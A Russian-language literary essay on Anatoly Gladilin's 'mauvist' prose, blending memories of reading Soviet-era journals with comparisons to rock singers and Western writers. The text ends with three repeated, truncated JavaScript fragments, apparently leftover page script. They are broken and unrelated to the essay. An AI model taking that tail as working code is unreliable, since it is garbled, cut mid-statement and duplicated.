Если автору не хватает ницшеанской наглости вворачивать их в тексты ни к селу ни к городу, время от времени у него скапливается и пропадает масса оригинальных, но неуместных замечаний.
Молодые писатели хрущевской оттепели устаревали на глазах. И в основном это были западники-диссиденты, раскрученные щедрой рекламой вражеских голосов. А до сравнительно свежих имен в противоположном патриотическом лагере приходилось докапываться самостоятельно, глубоко ныряя, чтобы сквозь ил казенщины обнаружить на дне бассейна мозаический портрет Государя.
Порою разглядеть в технократе Победоносцева, или в деревенщике Луи Селина стоило немалого труда, а без галлюциногенов было и вовсе невозможно. Но люди пили и читали, похмелялись и перечитывали с криками «во!», «ВО!», «ВОТ ОНО!», веруя, что не стоит село без праведника.
С другой стороны проза махрового отщепенца на поверку оказывалась вполне советской лирикой, с добавлением нескольких сплетен, анекдотов и критических замечаний, подчас весьма конструктивных.
Причем все эти люди – лидеры тогдашней духовной оппозиции, пришли в литературу достаточно рано, чуть ли не при Сталине, и от этого казались еще старше. Фронтовик Даниэль, переживший оккупацию Анатолий Кузнецов, и похожий на русского классика, бородатый Синявский, не говоря уже про Коржавина с Войновичем – все они в глазах тинейджера-нонконформиста семидесятых были сугубо наши, простые как правда, мистеры Хайды, в любую минуту готовые снова стать лояльным советским доктором Джекиллом.
Даже сравнительно трансатлантический Аксенов со своим джазом на фоне KISS выглядел прогрессивным преподом из местечкового музучилища, начитавшимся самого себя.
Примерно такие мысли, помнится, посетили мой дремлющий ум, когда я, дочитав повесть «Меня убил скотина Пелл», уставился на фото автора. От названия веяло магией американского покет-бука пятидесятых годов, но издание было здешнее, на худой бумаге. По старой привычке я понесся рекламировать находку всем подряд.
«Прочту один абзац и снова охота увидеть портрет Тихоновича – приходится захлопывать», - басил в трубку неделю спустя один чудаковатый читатель, бесцеремонно и точно отметивший единство облика и стиля, которому позавидовал бы сам Микки Спиллейн.
Приведенное выше признание я выслушал и запомнил в начале этого века, а нам предстоит заглянуть в век минувший.
Почти сорок лет назад у меня возникло в точности такое желание, когда я услышал голос Гладилина сквозь радиоглушение, похожее на зависший пауэр-корд электрогитары металлиста.
Получив в отделе периодики подшивку старой «Юности», я обнаружил и фото и текст повести на прежнем месте. Если не выдрали, значит не очень важная птица на ринге идеологической борьбы. И, хотя отдельных изданий в библиотечной картотеке не оказалось, их уже успели изъять, в «букинистах» эти книжечки принимали, и вскоре я смог за копейки приобрести «Сны шлиссельбургской крепости», «Евангелие от Робеспьера» и что-то еще, совсем раннее.
Повесть в журнале (это была «История одной компании») я опознал, а вот голос в приемнике чуть было не спутал, приняв за Костю Беляева (в жизни такие голоса звучат обычно ниже). Чем черт не шутит – может быть тоже уехал человек.
Беляев с Гладилиным превращался в каких-то «братьев Эверли», произнося типично гладилинскую фразу: «Клавочка, вам водочки, а может помидорчик?»
Константин Беляев иногда мог звучать как Дэвид Байрон (петь наверное не мог, но интонация местами совпадала), так же и Гладилин говорил совсем как Беляев между песнями, и в нейтральном фельетоне про наши нехватки и неполадки прослушивался беляевский эстетический нигилизм.
Смысл повести (о судьбе столичных одноклассников) был мне не совсем понятен (когда мать выписывала «Юность», я был еще дошкольником), но именно этим, как это уже не раз случалось, она меня и увлекла. Читать её можно было с любой страницы. Бросилось в глаза слово «мамбо-рокк» с двойной «к» в конце. У деда имелась медаль «20 лет РККА». Этот допотопный Mumbo Rock, кстати, поют под балалайку на склоне дня сельские щеголи в комедии «Деревенский детектив». Тоже наверняка не понимая ни слов, ни смысла. Но так ли уж это важно – все усваивать и все понимать?
Понятие «мовизм», как школу умышленного дурнописания, учредил Валентин Катаев, назвав в одном из своих поздних романов Анатолия Гладилина ярчайшим представителем этого рискованного направления.
Рискованного, потому что многие наши «панки», на словах превознося Sex Pistols, предпочитали слушать более добротный Queen.
Едва ли подобный термин мог служить хорошей рекламой писателю среди людей и без того изнуренных бесконечным выбором между плохим и совсем поганым везде и во всем – от интимных мест до места на кладбище. И хотя мне самому не совсем нравился катаевский неологизм, я смирился с его присутствием, как привыкаем мы к дурацким памятникам и названиям. Я до сих пор считаю прозу Гладилина даже не пособием, а кислородной подушкой застойного воздуха высшей пробы. Ибо, как в эпоху Платонова, язык должен соответствовать качеству и ассортименту товаров, степени скованности, за которой словно саламандра в колбе, бушует одичание.
Фото автора было черно-белым. Так выглядели актеры нашего и зарубежного кино на открытках за стеклом киоска. Гладилин вполне мог бы сняться у французов в роли циничного водопроводчика, журналиста или детектива, и жаль что его не экранизировали у нас в отличии от Шукшина и Аксёнова, приправив сценарий бардовской песней и твистами.
В сравнительно молодом человеке на картинке было что-то от Мориса Ронэ.
Но по снимку в журнале было нереально представить, о чем пишет обладатель устало-ироничного взгляда. Легко ли, приятно ли, сквозь пену молодежной тематики разглядеть на дне повествования утопленника, который лукаво подмигивает тебе в ответ. Я, как мне кажется, разглядел и обрадовался.
Мы неспроста сравнили вокал Беляева с Дэвидом Байроном – если первый был воплощением всего предосудительного и недопустимого в быту и на экране, то второй служил эталоном возвышенного лиризма, причем нередко для одних и тех же граждан.
После двух мощных треков на первом альбоме Uriah Heep возникает контрастное затишье. Пауза кажется бесконечной, пока ее не нарушает безжизненный, не от мира сего зов меллотрона, искусный перебор акустической гитары. И все это в три раза тише инструментов, буйствовавших до того.
«Ступай, Мелинда! Выйди и прикрой дверь» – про что поется в этой песне ребенку, тоже было не ясно. Явно не о любви – голос чего-то не договаривал, увещевал, не искушая, щадил. Если не о любви, тогда о войне, но о войне у нас так не пели.
Двери в неведенье закрываются раз и навсегда. Зато познания можно расширять до бесконечности, как можно и печатать фальшивые деньги после отмены статьи за их изготовление.
В прологе повести «Первый день нового года» рядовой гражданин на глазах у прекрасной незнакомки протягивает официантке сторублевую купюру («одной бумажкой» говорили тогда) словно покрытый магическою формулой папирус: «я не очень уверен, что Ира когда-нибудь держала в руках такую бумажку».
В этой незатейливой фразе, которую без малейшего усилия мог бы составить, произнести и запомнить кто угодно, заключена вся суть эпохи без живописания ужасов и оргий. «Запомни – вся суть в монете», как поется в другой песне тех лет.
Слова «меня убил скотина Пелл» произносит мертвец, до которого нам теоретически нет никакого дела. Мертвец пересказывает свою историю живым с того света – прием классический, старинный. Это и «Бульвар Сансет», и «Двойная страховка» и «Новые страдания юного В.» – потрясающий мовизм, сделанный в ГДР. Или еще более гениальный шансон нуар одною строкой из уст Владимира Шандрикова, предупредившего, что «от лица покойника эта песня».
Читательский разум не поспевает, а слух отказывает, но загробный голос жертвы окаянного Пелла всегда готов продолжить свой отчет об интригах на эмигрантском радио, вызывая желание еще раз поглядеть на портрет автора даже у тех, кто совсем еще недавно не подозревал о наличии желаний такого рода в собственной душе.
«За несколько часов я произнес больше слов, чем за весь предыдущий год», и слова эти часто двусмысленны, как сумма на купюре в переводе на языки союзных республик.
Скрытый мат и жаргон – норма не только для «мовистов» но и для всей литературы нравственного сопротивления. Ими пестрит аксеновская «Бочкотара», сенсационный «Иван Денисович» и шукшинский «Сураз» с его христоматийным «пидером» и «мечтяком» вместо пошлого «ништяка».
Тексты Гладилина не афористичны не от того что они заумны, а потому что они, как рок-поэзия Запада, на семьдесят процентов состоят из самых банальных слов и выражений типа «куку с макой», «самый сок» и «суп с котом».
Зато интонация неподражаема. Можно досконально изучить примитивные идиомы блюза, но вы никогда не пропоете его как Рей Чарльз, который вообще не видит буквы.
Я не сразу смогу это сформулировать, но Гладилин понравился мне тем же, чем в свое время Отис Реддинг с Лу Ридом. «Какой противный и въедливый голос!» - морщились капризные дамы, будучи частично правы. Негативная реакция лучше никакой.
Какой интересный, смелый и четко отработанный стиль, можно было бы им возразить, но буйвол обладает колоссальным терпением и силой.
И желание, прервав чтение, чтобы взглянуть на портрет, лично мне очень понятно. Иногда портреты в ответ подмигивают.
// t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
